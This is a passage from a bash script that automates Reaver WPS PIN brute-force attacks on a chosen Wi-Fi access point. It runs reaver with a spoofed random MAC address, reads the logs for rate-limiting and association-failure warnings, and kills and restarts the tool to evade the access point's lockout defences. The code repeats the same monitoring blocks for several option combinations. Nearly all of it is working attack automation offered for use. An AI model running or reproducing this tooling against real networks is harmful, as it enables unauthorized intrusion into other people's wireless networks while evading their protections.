                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R37 == n || $USE_R37 == N ]] && [[ $USE_LONG37 == n || $USE_LONG37 == N ]] && [[ $USE_PIN37 == y || $USE_PIN37 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -vv -x 60  --pin=$WPS_PIN37 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R37 == y || $USE_R37 == Y ]] && [[ $USE_LONG37 == n || $USE_LONG37 == N ]] && [[ $USE_PIN37 == y || $USE_PIN37 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX37" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY37"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -vv -x 60 -r $RX37:$RY37 --pin=$WPS_PIN37 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R37 == n || $USE_R37 == N ]] && [[ $USE_LONG37 == y || $USE_LONG37 == Y ]] && [[ $USE_PIN37 == y || $USE_PIN37 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN37 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R37 == y || $USE_R37 == Y ]] && [[ $USE_LONG37 == y || $USE_LONG37 == Y ]] && [[ $USE_PIN37 == y || $USE_PIN37 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME37"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL37"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP37"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX37" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY37"
echo -e "$info Reaver live time                   = $yel$LIVE37 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME37-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL37 -b $TARGETAP37 -r $RX37:$RY37 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN37 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME37-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE37-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME37-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME37-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME37-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP37 (ESSID: $NMEWARN37)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

